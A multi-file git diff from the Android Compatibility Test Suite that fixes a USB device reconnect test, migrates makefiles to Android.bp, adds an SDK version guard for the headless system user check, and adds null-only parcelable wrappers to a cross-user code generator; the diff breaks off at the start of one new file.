diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tunnelmode/OWNERS b/apps/CtsVerifier/src/com/android/cts/verifier/tunnelmode/OWNERS
new file mode 100644
index 0000000..4744ab8
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tunnelmode/OWNERS
@@ -0,0 +1,3 @@
+# Buganizer component id: 687598
+blindahl@google.com
+narcisaam@google.com
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/usb/device/UsbDeviceTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/usb/device/UsbDeviceTestActivity.java
index faee07a..e68983b 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/usb/device/UsbDeviceTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/usb/device/UsbDeviceTestActivity.java
@@ -84,6 +84,7 @@
     private Thread mTestThread;
     private TextView mStatus;
     private ProgressBar mProgress;
+    private UsbDevice mDevice;
 
     /**
      * Some N and older accessories do not send a zero sized package after a request that is a
@@ -156,7 +157,6 @@
                         case ACTION_USB_PERMISSION:
                             boolean granted = intent.getBooleanExtra(
                                     UsbManager.EXTRA_PERMISSION_GRANTED, false);
-
                             if (granted) {
                                 if (!AoapInterface.isDeviceInAoapMode(device)) {
                                     mStatus.setText(R.string.usb_device_test_step3);
@@ -194,7 +194,6 @@
                 }
             }
         };
-
         registerReceiver(mUsbDeviceConnectionReceiver, filter);
     }
 
@@ -1557,6 +1556,15 @@
         connection.close();
     }
 
+    private void syncReconnectDevice(@NonNull UsbDevice device) {
+        this.mDevice = device;
+    }
+
+    private UsbDevice getReconnectDevice() {
+        return mDevice;
+    }
+
+
     /**
      * <p> This attachedtask the requests and does not care about them anymore after the
      * system took them. The {@link attachedTask} handles the test after the main test done.
@@ -1600,6 +1608,8 @@
             public void onReceive(Context context, Intent intent) {
                 synchronized (UsbDeviceTestActivity.this) {
                     UsbDevice device = intent.getParcelableExtra(UsbManager.EXTRA_DEVICE);
+                    syncReconnectDevice(device);
+
                     switch (intent.getAction()) {
                         case ACTION_USB_PERMISSION:
                             boolean granted = intent.getBooleanExtra(
@@ -2267,6 +2277,12 @@
             // If reconnect timeout make the test fail
             assertEquals(0, errors.size());
 
+            // Update connection handle after reconnect
+            device = getReconnectDevice();
+            assertNotNull(device);
+            connection = mUsbManager.openDevice(device);
+            assertNotNull(connection);
+
             connection.close();
 
             // We should not be able to communicate with the device anymore
diff --git a/apps/MainlineModuleDetector/Android.bp b/apps/MainlineModuleDetector/Android.bp
new file mode 100644
index 0000000..2cba39f
--- /dev/null
+++ b/apps/MainlineModuleDetector/Android.bp
@@ -0,0 +1,38 @@
+//
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+package {
+    // See: http://go/android-license-faq
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test {
+    name: "MainlineModuleDetector",
+    defaults: ["cts_defaults"],
+    static_libs: ["compatibility-device-util-axt"],
+    // Disable dexpreopt and <uses-library> check for test.
+    enforce_uses_libs: false,
+    dex_preopt: {
+        enabled: false,
+    },
+    srcs: ["src/**/*.java"],
+    sdk_version: "current",
+    test_suites: [
+        "cts",
+        "general-tests",
+        "sts",
+    ],
+}
diff --git a/apps/MainlineModuleDetector/Android.mk b/apps/MainlineModuleDetector/Android.mk
deleted file mode 100644
index a0ccc3c..0000000
--- a/apps/MainlineModuleDetector/Android.mk
+++ /dev/null
@@ -1,40 +0,0 @@
-#
-# Copyright (C) 2019 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH:= $(call my-dir)
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt
-
-# Disable dexpreopt and <uses-library> check for test.
-LOCAL_ENFORCE_USES_LIBRARIES := false
-LOCAL_DEX_PREOPT := false
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := MainlineModuleDetector
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-
-LOCAL_SDK_VERSION := current
-
-LOCAL_COMPATIBILITY_SUITE := cts general-tests sts
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/build/Android.mk b/build/Android.mk
deleted file mode 100644
index 3c065c8..0000000
--- a/build/Android.mk
+++ /dev/null
@@ -1,160 +0,0 @@
-#
-# Copyright (C) 2010 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-# Makefile for producing CTS coverage reports.
-# Run "make cts-test-coverage" in the $ANDROID_BUILD_TOP directory.
-
-cts_api_coverage_exe := $(HOST_OUT_EXECUTABLES)/cts-api-coverage
-dexdeps_exe := $(HOST_OUT_EXECUTABLES)/dexdeps
-
-coverage_out := $(HOST_OUT)/cts-api-coverage
-
-api_xml_description := $(TARGET_OUT_COMMON_INTERMEDIATES)/api.xml
-
-napi_text_description := cts/tools/cts-api-coverage/etc/ndk-api.xml
-napi_xml_description := $(coverage_out)/ndk-api.xml
-$(napi_xml_description) : $(napi_text_description) $(ACP)
-		$(hide) echo "Preparing NDK API XML: $@"
-		$(hide) mkdir -p $(dir $@)
-		$(hide) $(ACP)  $< $@
-
-system_api_xml_description := $(TARGET_OUT_COMMON_INTERMEDIATES)/system-api.xml
-
-cts-test-coverage-report := $(coverage_out)/test-coverage.html
-cts-system-api-coverage-report := $(coverage_out)/system-api-coverage.html
-cts-system-api-xml-coverage-report := $(coverage_out)/system-api-coverage.xml
-cts-verifier-coverage-report := $(coverage_out)/verifier-coverage.html
-cts-combined-coverage-report := $(coverage_out)/combined-coverage.html
-cts-combined-xml-coverage-report := $(coverage_out)/combined-coverage.xml
-
-cts_api_coverage_dependencies := $(cts_api_coverage_exe) $(dexdeps_exe) $(api_xml_description) $(napi_xml_description)
-cts_system_api_coverage_dependencies := $(cts_api_coverage_exe) $(dexdeps_exe) $(system_api_xml_description)
-
-android_cts_zip := $(HOST_OUT)/cts/android-cts.zip
-cts_verifier_apk := $(call intermediates-dir-for,APPS,CtsVerifier)/package.apk
-
-$(cts-test-coverage-report): PRIVATE_TEST_CASES := $(COMPATIBILITY_TESTCASES_OUT_cts)
-$(cts-test-coverage-report): PRIVATE_CTS_API_COVERAGE_EXE := $(cts_api_coverage_exe)
-$(cts-test-coverage-report): PRIVATE_DEXDEPS_EXE := $(dexdeps_exe)
-$(cts-test-coverage-report): PRIVATE_API_XML_DESC := $(api_xml_description)
-$(cts-test-coverage-report): PRIVATE_NAPI_XML_DESC := $(napi_xml_description)
-$(cts-test-coverage-report) : $(android_cts_zip) $(cts_api_coverage_dependencies) | $(ACP)
-	$(call generate-coverage-report-cts,"CTS Tests API-NDK Coverage Report",\
-			$(PRIVATE_TEST_CASES),html)
-
-$(cts-system-api-coverage-report): PRIVATE_TEST_CASES := $(COMPATIBILITY_TESTCASES_OUT_cts)
-$(cts-system-api-coverage-report): PRIVATE_CTS_API_COVERAGE_EXE := $(cts_api_coverage_exe)
-$(cts-system-api-coverage-report): PRIVATE_DEXDEPS_EXE := $(dexdeps_exe)
-$(cts-system-api-coverage-report): PRIVATE_API_XML_DESC := $(system_api_xml_description)
-$(cts-system-api-coverage-report): PRIVATE_NAPI_XML_DESC := ""
-$(cts-system-api-coverage-report) : $(android_cts_zip) $(cts_system_api_coverage_dependencies) | $(ACP)
-	$(call generate-coverage-report-cts,"CTS System API Coverage Report",\
-			$(PRIVATE_TEST_CASES),html)
-
-$(cts-system-api-xml-coverage-report): PRIVATE_TEST_CASES := $(COMPATIBILITY_TESTCASES_OUT_cts)
-$(cts-system-api-xml-coverage-report): PRIVATE_CTS_API_COVERAGE_EXE := $(cts_api_coverage_exe)
-$(cts-system-api-xml-coverage-report): PRIVATE_DEXDEPS_EXE := $(dexdeps_exe)
-$(cts-system-api-xml-coverage-report): PRIVATE_API_XML_DESC := $(system_api_xml_description)
-$(cts-system-api-xml-coverage-report): PRIVATE_NAPI_XML_DESC := ""
-$(cts-system-api-xml-coverage-report) : $(android_cts_zip) $(cts_system_api_coverage_dependencies) | $(ACP)
-	$(call generate-coverage-report-cts,"CTS System API Coverage Report - XML",\
-			$(PRIVATE_TEST_CASES),xml)
-
-$(cts-verifier-coverage-report): PRIVATE_TEST_CASES := $(cts_verifier_apk)
-$(cts-verifier-coverage-report): PRIVATE_CTS_API_COVERAGE_EXE := $(cts_api_coverage_exe)
-$(cts-verifier-coverage-report): PRIVATE_DEXDEPS_EXE := $(dexdeps_exe)
-$(cts-verifier-coverage-report): PRIVATE_API_XML_DESC := $(api_xml_description)
-$(cts-verifier-coverage-report): PRIVATE_NAPI_XML_DESC := $(napi_xml_description)
-$(cts-verifier-coverage-report) : $(cts_verifier_apk) $(cts_api_coverage_dependencies) | $(ACP)
-	$(call generate-coverage-report-cts,"CTS Verifier API Coverage Report",\
-			$(PRIVATE_TEST_CASES),html)
-
-$(cts-combined-coverage-report): PRIVATE_TEST_CASES := $(foreach c, $(cts_verifier_apk) $(COMPATIBILITY_TESTCASES_OUT_cts), $(c))
-$(cts-combined-coverage-report): PRIVATE_CTS_API_COVERAGE_EXE := $(cts_api_coverage_exe)
-$(cts-combined-coverage-report): PRIVATE_DEXDEPS_EXE := $(dexdeps_exe)
-$(cts-combined-coverage-report): PRIVATE_API_XML_DESC := $(api_xml_description)
-$(cts-combined-coverage-report): PRIVATE_NAPI_XML_DESC := $(napi_xml_description)
-$(cts-combined-coverage-report) : $(android_cts_zip) $(cts_verifier_apk) $(cts_api_coverage_dependencies) | $(ACP)
-	$(call generate-coverage-report-cts,"CTS Combined API Coverage Report",\
-			$(PRIVATE_TEST_CASES),html)
-
-$(cts-combined-xml-coverage-report): PRIVATE_TEST_CASES := $(foreach c, $(cts_verifier_apk) $(COMPATIBILITY_TESTCASES_OUT_cts), $(c))
-$(cts-combined-xml-coverage-report): PRIVATE_CTS_API_COVERAGE_EXE := $(cts_api_coverage_exe)
-$(cts-combined-xml-coverage-report): PRIVATE_DEXDEPS_EXE := $(dexdeps_exe)
-$(cts-combined-xml-coverage-report): PRIVATE_API_XML_DESC := $(api_xml_description)
-$(cts-combined-xml-coverage-report): PRIVATE_NAPI_XML_DESC := $(napi_xml_description)
-$(cts-combined-xml-coverage-report) : $(android_cts_zip) $(cts_verifier_apk) $(cts_api_coverage_dependencies) | $(ACP)
-	$(call generate-coverage-report-cts,"CTS Combined API Coverage Report - XML",\
-			$(PRIVATE_TEST_CASES),xml)
-
-.PHONY: cts-test-coverage
-cts-test-coverage : $(cts-test-coverage-report)
-
-.PHONY: cts-system-api-coverage
-cts-system-api-coverage : $(cts-system-api-coverage-report)
-
-.PHONY: cts-system-api-xml-coverage
-cts-system-api-xml-coverage : $(cts-system-api-xml-coverage-report)
-
-.PHONY: cts-verifier-coverage
-cts-verifier-coverage : $(cts-verifier-coverage-report)
-
-.PHONY: cts-combined-coverage
-cts-combined-coverage : $(cts-combined-coverage-report)
-
-.PHONY: cts-combined-xml-coverage
-cts-combined-xml-coverage : $(cts-combined-xml-coverage-report)
-
-.PHONY: cts-coverage-report-all cts-api-coverage
-cts-coverage-report-all: cts-test-coverage cts-verifier-coverage cts-combined-coverage cts-combined-xml-coverage
-
-# Put the test coverage report in the dist dir if "cts-api-coverage" is among the build goals.
-$(call dist-for-goals, cts-api-coverage, $(cts-test-coverage-report):cts-test-coverage-report.html)
-$(call dist-for-goals, cts-api-coverage, $(cts-system-api-coverage-report):cts-system-api-coverage-report.html)
-$(call dist-for-goals, cts-api-coverage, $(cts-system-api-xml-coverage-report):cts-system-api-coverage-report.xml)
-$(call dist-for-goals, cts-api-coverage, $(cts-verifier-coverage-report):cts-verifier-coverage-report.html)
-$(call dist-for-goals, cts-api-coverage, $(cts-combined-coverage-report):cts-combined-coverage-report.html)
-$(call dist-for-goals, cts-api-coverage, $(cts-combined-xml-coverage-report):cts-combined-coverage-report.xml)
-
-# Arguments;
-#  1 - Name of the report printed out on the screen
-#  2 - List of apk files that will be scanned to generate the report
-#  3 - Format of the report
-define generate-coverage-report-cts
-	$(hide) mkdir -p $(dir $@)
-	$(hide) $(PRIVATE_CTS_API_COVERAGE_EXE) -d $(PRIVATE_DEXDEPS_EXE) -a $(PRIVATE_API_XML_DESC) -n $(PRIVATE_NAPI_XML_DESC) -f $(3) -o $@ $(2)
-	@ echo $(1): file://$$(cd $(dir $@); pwd)/$(notdir $@)
-endef
-
-# Reset temp vars
-cts_api_coverage_dependencies :=
-cts_system_api_coverage_dependencies :=
-cts-combined-coverage-report :=
-cts-combined-xml-coverage-report :=
-cts-verifier-coverage-report :=
-cts-test-coverage-report :=
-cts-system-api-coverage-report :=
-cts-system-api-xml-coverage-report :=
-api_xml_description :=
-api_text_description :=
-system_api_xml_description :=
-napi_xml_description :=
-napi_text_description :=
-coverage_out :=
-dexdeps_exe :=
-cts_api_coverage_exe :=
-cts_verifier_apk :=
-android_cts_zip :=
diff --git a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/TestAppSystemServiceFactory.java b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/TestAppSystemServiceFactory.java
index 0f33307..218610ea 100644
--- a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/TestAppSystemServiceFactory.java
+++ b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/TestAppSystemServiceFactory.java
@@ -120,7 +120,7 @@
     }
 
     private static void assertHasRequiredReceiver(Context context) {
-        if (!UserManager.isHeadlessSystemUserMode()) return;
+        if (!Utils.isHeadlessSystemUserMode()) return;
 
         String packageName = context.getPackageName();
         Boolean hasIt = sHasRequiredReceiver.get(packageName);
@@ -226,7 +226,7 @@
         assertHasRequiredReceiver(context);
 
         int userId = context.getUserId();
-        if (userId == UserHandle.USER_SYSTEM || !UserManager.isHeadlessSystemUserMode()) {
+        if (userId == UserHandle.USER_SYSTEM || !Utils.isHeadlessSystemUserMode()) {
             Log.i(TAG, "get(): returning 'pure' DevicePolicyManager for user " + userId);
             return manager;
         }
diff --git a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/Utils.java b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/Utils.java
index 03b8963..57289de 100644
--- a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/Utils.java
+++ b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/Utils.java
@@ -19,6 +19,7 @@
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
+import android.os.Build;
 import android.os.Bundle;
 import android.os.Handler;
 import android.os.HandlerThread;
@@ -61,12 +62,17 @@
     @GuardedBy("LOCK")
     private static Handler sHandler;
 
+    static boolean isHeadlessSystemUserMode() {
+        return Build.VERSION.SDK_INT >= Build.VERSION_CODES.S
+                && UserManager.isHeadlessSystemUserMode();
+    }
+
     static boolean isHeadlessSystemUser() {
-        return UserManager.isHeadlessSystemUserMode() && MY_USER_ID == UserHandle.USER_SYSTEM;
+        return isHeadlessSystemUserMode() && MY_USER_ID == UserHandle.USER_SYSTEM;
     }
 
     static boolean isCurrentUserOnHeadlessSystemUser(Context context) {
-        return UserManager.isHeadlessSystemUserMode()
+        return isHeadlessSystemUserMode()
                 && context.getSystemService(UserManager.class).isUserForeground();
     }
 
diff --git a/common/device-side/bedstead/remoteframeworkclasses/src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/Processor.java b/common/device-side/bedstead/remoteframeworkclasses/src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/Processor.java
index d93ff7e..465ceb6 100644
--- a/common/device-side/bedstead/remoteframeworkclasses/src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/Processor.java
+++ b/common/device-side/bedstead/remoteframeworkclasses/src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/Processor.java
@@ -276,12 +276,10 @@
             // AccountManager
 
             // Uses Activity
-            "public android.accounts.AccountManagerFuture<android.os.Bundle> addAccount(String, String, String[], android.os.Bundle, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
             "public android.accounts.AccountManagerFuture<android.os.Bundle> finishSession(android.os.Bundle, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
             "public android.accounts.AccountManagerFuture<android.os.Bundle> editProperties(String, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
             "public android.accounts.AccountManagerFuture<android.os.Bundle> getAuthToken(android.accounts.Account, String, android.os.Bundle, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
             "public android.accounts.AccountManagerFuture<android.os.Bundle> getAuthTokenByFeatures(String, String, String[], android.app.Activity, android.os.Bundle, android.os.Bundle, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
-            "public android.accounts.AccountManagerFuture<android.os.Bundle> removeAccount(android.accounts.Account, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
             "public android.accounts.AccountManagerFuture<android.os.Bundle> startAddAccountSession(String, String, String[], android.os.Bundle, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
             "public android.accounts.AccountManagerFuture<android.os.Bundle> startUpdateCredentialsSession(android.accounts.Account, String, android.os.Bundle, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
             "public android.accounts.AccountManagerFuture<android.os.Bundle> updateCredentials(android.accounts.Account, String, android.os.Bundle, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
@@ -295,7 +293,6 @@
             // Uses AccountManagerCallback
             "public android.accounts.AccountManagerFuture<android.os.Bundle> getAuthToken(android.accounts.Account, String, boolean, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
             "public android.accounts.AccountManagerFuture<android.os.Bundle> getAuthToken(android.accounts.Account, String, android.os.Bundle, boolean, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
-            "public android.accounts.AccountManagerFuture<android.os.Bundle> addAccount(String, String, String[], android.os.Bundle, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
             "public android.accounts.AccountManagerFuture<android.os.Bundle> getAuthToken(android.accounts.Account, String, boolean, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
             "public android.accounts.AccountManagerFuture<android.os.Bundle> getAuthToken(android.accounts.Account, String, android.os.Bundle, boolean, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
             "public android.os.Bundle hasFeatures(android.accounts.Account, String[], android.accounts.AccountManagerCallback<java.lang.Boolean>, android.os.Handler)",
@@ -304,7 +301,6 @@
             "public android.accounts.AccountManagerFuture<java.lang.Boolean> hasFeatures(android.accounts.Account, String[], android.accounts.AccountManagerCallback<java.lang.Boolean>, android.os.Handler)",
             "public android.os.Bundle isCredentialsUpdateSuggested(android.accounts.AccountAuthenticatorResponse, android.accounts.Account, String) throws android.accounts.NetworkErrorException",
             "public android.accounts.AccountManagerFuture<java.lang.Boolean> isCredentialsUpdateSuggested(android.accounts.Account, String, android.accounts.AccountManagerCallback<java.lang.Boolean>, android.os.Handler)",
-            "public android.accounts.AccountManagerFuture<java.lang.Boolean> removeAccount(android.accounts.Account, android.accounts.AccountManagerCallback<java.lang.Boolean>, android.os.Handler)",
             "public android.accounts.AccountManagerFuture<android.accounts.Account> renameAccount(android.accounts.Account, @Size(min=1) String, android.accounts.AccountManagerCallback<android.accounts.Account>, android.os.Handler)",
 
             // Uses android.accounts.AccountManager
@@ -641,6 +637,18 @@
     private static final ClassName NULL_PARCELABLE_REMOTE_CONTENT_RESOLVER_CLASSNAME =
             ClassName.get("com.android.bedstead.remoteframeworkclasses",
                     "NullParcelableRemoteContentResolver");
+
+    // TODO(b/205562849): These only support passing null, which is fine for existing tests but will be misleading
+    private static final ClassName NULL_PARCELABLE_ACTIVITY_CLASSNAME =
+            ClassName.get("com.android.bedstead.remoteframeworkclasses",
+                    "NullParcelableActivity");
+    private static final ClassName NULL_PARCELABLE_ACCOUNT_MANAGER_CALLBACK_CLASSNAME =
+            ClassName.get("com.android.bedstead.remoteframeworkclasses",
+                    "NullParcelableAccountManagerCallback");
+    private static final ClassName NULL_HANDLER_CALLBACK_CLASSNAME =
+            ClassName.get("com.android.bedstead.remoteframeworkclasses",
+                    "NullParcelableHandler");
+
     private static final ClassName COMPONENT_NAME_CLASSNAME =
             ClassName.get("android.content", "ComponentName");
 
@@ -678,6 +686,9 @@
     private void generateWrappers() {
         generateWrapper(NULL_PARCELABLE_REMOTE_DEVICE_POLICY_MANAGER_CLASSNAME);
         generateWrapper(NULL_PARCELABLE_REMOTE_CONTENT_RESOLVER_CLASSNAME);
+        generateWrapper(NULL_PARCELABLE_ACTIVITY_CLASSNAME);
+        generateWrapper(NULL_PARCELABLE_ACCOUNT_MANAGER_CALLBACK_CLASSNAME);
+        generateWrapper(NULL_HANDLER_CALLBACK_CLASSNAME);
     }
 
     private void generateWrapper(ClassName className) {
@@ -761,9 +772,8 @@
 
 
         classBuilder.addAnnotation(AnnotationSpec.builder(CrossUser.class)
-                .addMember("parcelableWrappers", "{$T.class, $T.class}",
-                        NULL_PARCELABLE_REMOTE_DEVICE_POLICY_MANAGER_CLASSNAME,
-                        NULL_PARCELABLE_REMOTE_CONTENT_RESOLVER_CLASSNAME)
+                .addMember("parcelableWrappers", "{$T.class, $T.class, $T.class, $T.class, $T.class}",
+                        NULL_PARCELABLE_REMOTE_DEVICE_POLICY_MANAGER_CLASSNAME, NULL_PARCELABLE_REMOTE_CONTENT_RESOLVER_CLASSNAME, NULL_PARCELABLE_ACTIVITY_CLASSNAME, NULL_PARCELABLE_ACCOUNT_MANAGER_CALLBACK_CLASSNAME, NULL_HANDLER_CALLBACK_CLASSNAME)
                 .addMember("futureWrappers", "$T.class",
                         ACCOUNT_MANAGE_FUTURE_WRAPPER_CLASSNAME)
                 .build());
@@ -815,9 +825,8 @@
                 TypeSpec.classBuilder(className).addModifiers(Modifier.FINAL, Modifier.PUBLIC);
 
         classBuilder.addAnnotation(AnnotationSpec.builder(CrossUser.class)
-                .addMember("parcelableWrappers", "{$T.class, $T.class}",
-                        NULL_PARCELABLE_REMOTE_DEVICE_POLICY_MANAGER_CLASSNAME,
-                        NULL_PARCELABLE_REMOTE_CONTENT_RESOLVER_CLASSNAME)
+                .addMember("parcelableWrappers", "{$T.class, $T.class, $T.class, $T.class, $T.class}",
+                        NULL_PARCELABLE_REMOTE_DEVICE_POLICY_MANAGER_CLASSNAME, NULL_PARCELABLE_REMOTE_CONTENT_RESOLVER_CLASSNAME, NULL_PARCELABLE_ACTIVITY_CLASSNAME, NULL_PARCELABLE_ACCOUNT_MANAGER_CALLBACK_CLASSNAME, NULL_HANDLER_CALLBACK_CLASSNAME)
                 .build());
 
         classBuilder.addField(ClassName.get(frameworkClass),
diff --git a/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableAccountManagerCallback.java.txt b/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableAccountManagerCallback.java.txt
new file mode 100644
index 0000000..4984775
--- /dev/null
+++ b/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableAccountManagerCallback.java.txt
@@ -0,0 +1,79 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.remoteframeworkclasses;
+
+import android.accounts.AccountManagerCallback;
+import android.os.Parcel;
+import android.os.Parcelable;
+
+import com.google.android.enterprise.connectedapps.annotations.CustomParcelableWrapper;
+import com.google.android.enterprise.connectedapps.internal.Bundler;
+import com.google.android.enterprise.connectedapps.internal.BundlerType;
+
+/**
+ * This parcelable wrapper just passes null to callers.
+ *
+ * <p>It is not functional and only enables use of {@link AccountManagerCallback} for clients
+ * which do not need to actually use the {@link AccountManagerCallback} param or return value.
+ */
+@CustomParcelableWrapper(originalType = AccountManagerCallback.class)
+public final class NullParcelableAccountManagerCallback<F> implements Parcelable {
+
+    /**
+     * Create a wrapper for a given {@link AccountManagerCallback}.
+     */
+    public static <F> NullParcelableAccountManagerCallback of(
+            Bundler bundler, BundlerType type,
+            AccountManagerCallback<F> accountManagerCallback) {
+
+        if (accountManagerCallback != null) {
+            throw new IllegalArgumentException("accountManagerCallback can only be null");
+        }
+
+        return new NullParcelableAccountManagerCallback<F>();
+    }
+
+    private NullParcelableAccountManagerCallback() {
+    }
+
+    public AccountManagerCallback<F> get() {
+        return null;
+    }
+
+    @Override
+    public void writeToParcel(Parcel dest, int flags) {
+    }
+
+    @Override
+    public int describeContents() {
+        return 0;
+    }
+
+    @SuppressWarnings("rawtypes")
+    public static final Creator<NullParcelableAccountManagerCallback> CREATOR =
+            new Creator<NullParcelableAccountManagerCallback>() {
+                @Override
+                public NullParcelableAccountManagerCallback createFromParcel(Parcel in) {
+                    return new NullParcelableAccountManagerCallback();
+                }
+
+                @Override
+                public NullParcelableAccountManagerCallback[] newArray(int size) {
+                    return new NullParcelableAccountManagerCallback[size];
+                }
+            };
+}
\ No newline at end of file
diff --git a/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableActivity.java.txt b/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableActivity.java.txt
new file mode 100644
index 0000000..6000472
--- /dev/null
+++ b/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableActivity.java.txt
@@ -0,0 +1,79 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.remoteframeworkclasses;
+
+import android.app.Activity;
+import android.os.Parcel;
+import android.os.Parcelable;
+
+import com.google.android.enterprise.connectedapps.annotations.CustomParcelableWrapper;
+import com.google.android.enterprise.connectedapps.internal.Bundler;
+import com.google.android.enterprise.connectedapps.internal.BundlerType;
+
+/**
+ * This parcelable wrapper just passes null to callers.
+ *
+ * <p>It is not functional and only enables use of {@link Activity} for clients
+ * which do not need to actually use the {@link Activity} param or return value.
+ */
+@CustomParcelableWrapper(originalType = Activity.class)
+public final class NullParcelableActivity implements Parcelable {
+
+    /**
+     * Create a wrapper for a given {@link Activity}.
+     */
+    public static <F> NullParcelableActivity of(
+            Bundler bundler, BundlerType type,
+            Activity activity) {
+
+       if (activity != null) {
+           throw new IllegalArgumentException("activity can only be null");
+       }
+
+        return new NullParcelableActivity();
+    }
+
+    private NullParcelableActivity() {
+    }
+
+    public Activity get() {
+        return null;
+    }
+
+    @Override
+    public void writeToParcel(Parcel dest, int flags) {
+    }
+
+    @Override
+    public int describeContents() {
+        return 0;
+    }
+
+    @SuppressWarnings("rawtypes")
+    public static final Creator<NullParcelableActivity> CREATOR =
+            new Creator<NullParcelableActivity>() {
+                @Override
+                public NullParcelableActivity createFromParcel(Parcel in) {
+                    return new NullParcelableActivity();
+                }
+
+                @Override
+                public NullParcelableActivity[] newArray(int size) {
+                    return new NullParcelableActivity[size];
+                }
+            };
+}
\ No newline at end of file
diff --git a/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableHandler.java.txt b/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableHandler.java.txt
new file mode 100644
index 0000000..92692ad
--- /dev/null
